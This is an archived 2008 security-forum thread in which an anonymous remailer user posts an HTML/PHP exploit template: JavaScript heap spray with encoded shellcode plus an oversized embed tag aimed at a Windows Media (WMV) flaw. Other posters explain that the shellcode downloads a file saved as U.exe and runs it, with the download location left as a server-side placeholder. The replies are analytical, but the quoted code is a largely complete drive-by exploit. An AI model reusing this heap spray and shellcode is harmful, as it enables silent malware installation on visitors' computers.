Il mittente di questo messaggio|The sender address of this
non corrisponde ad un utente |message is not related to a real
reale ma all'indirizzo fittizio|person but to a fake address of an
di un sistema anonimizzatore |anonymous system
Per maggiori informazioni |For more info
https://www.mixmaster.it
(Msg. 3) Posted: Fri Sep 26, 2008 7:41 pm
Post subject: Re: neat script [Login to view extended thread Info.] Archived from groups: per prev. post (more info?)
I'm sure not going to try it. What does it do?
"George Orwell" <nobody.DeleteThis@mixmaster.it> wrote in message
news:cf90f71504418ea40e37a4ea336310cf@mixmaster.it...
> <html>
> <head>
> <script>
> var s=unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
> do { s+=s; } while(s.length < 0x0900000);
> s+=unescape("%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF<?=$ff_path;?>");
> </script>
> </head>
> <body>
> <embed src="<? for($i=0; $i < 2038;$i++) echo "-";
> ?>AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAANNNNOOOOAAAQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999.wmv"></embed>
> </body>
> </html>
>
> Il mittente di questo messaggio|The sender address of this
> non corrisponde ad un utente |message is not related to a real
> reale ma all'indirizzo fittizio|person but to a fake address of an
> di un sistema anonimizzatore |anonymous system
> Per maggiori informazioni |For more info
> https://www.mixmaster.it >
(Msg. 4) Posted: Sat Sep 27, 2008 1:36 am
Post subject: Re: neat script [Login to view extended thread Info.] Archived from groups: per prev. post (more info?)
"Russg" wrote:
> I'm sure not going to try it. What does it do?
It's an exploit template with shellcode to download and run nasties
on your Windows computer. It won't do anything as it stands because
it's server-side code and reqires parameters.
(Msg. 5) Posted: Sat Sep 27, 2008 1:36 am
Post subject: Re: neat script [Login to view extended thread Info.] Archived from groups: per prev. post (more info?)
From: "Ant" <not DeleteThis @home.today>
| "Russg" wrote:
>> I'm sure not going to try it. What does it do?
| It's an exploit template with shellcode to download and run nasties
| on your Windows computer. It won't do anything as it stands because
| it's server-side code and reqires parameters.
| (Aside to Dave L -- I see Dennis beat me to it!)
Yeah but he posted the assembler code and only indicated it downloaded the file U.exe to
c:\ using URLDownloadToFileA() but not much else and my assembly is rusty as hell.
(Msg. 6) Posted: Sat Sep 27, 2008 1:04 pm
Post subject: Re: neat script [Login to view extended thread Info.] Archived from groups: per prev. post (more info?)
"David H. Lipman" wrote:
> From: "Ant" <not.DeleteThis@home.today>
> Yeah but he posted the assembler code and only indicated it downloaded the file U.exe to
> c:\ using URLDownloadToFileA() but not much else and my assembly is rusty as hell.
Well, that's all it does apart from invoking the WMV bug to enable it.
Actually, where from and what it downloads (saved as U.exe) is unknown
since the script contains only the placeholder parameter for that.
I suppose he posted the asm to show how he got there but it wasn't
necessary. I can go into some detail about the script/asm if you want
but it wont tell you much you don't already know.
(Msg. 7) Posted: Sat Sep 27, 2008 1:04 pm
Post subject: Re: neat script [Login to view extended thread Info.] Archived from groups: per prev. post (more info?)
From: "Ant" <not.RemoveThis@home.today>
| I suppose he posted the asm to show how he got there but it wasn't
| necessary. I can go into some detail about the script/asm if you want
| but it wont tell you much you don't already know.
(Msg. 8) Posted: Sat Sep 27, 2008 7:56 pm
Post subject: Re: neat script [Login to view extended thread Info.] Archived from groups: per prev. post (more info?)
Ant wrote:
> "David H. Lipman" wrote:
>
>> From: "Ant" <not.TakeThisOut@home.today>
>> Yeah but he posted the assembler code and only indicated it downloaded the file U.exe to
>> c:\ using URLDownloadToFileA() but not much else and my assembly is rusty as hell.
>
> Well, that's all it does apart from invoking the WMV bug to enable it.
> Actually, where from and what it downloads (saved as U.exe) is unknown
> since the script contains only the placeholder parameter for that.
>
> I suppose he posted the asm to show how he got there but it wasn't
> necessary. I can go into some detail about the script/asm if you want
> but it wont tell you much you don't already know.
C'mon guys. You really expect proper netiquette from posters hiding
behind remailers, like Dizum?
All times are: Eastern Time (US & Canada) (change) Goto page 1, 2
Page 1 of 2
You can post new topics in this forum You can reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
Home
Forums
Home
FAQ
Profile
Private Messages
Log in
Security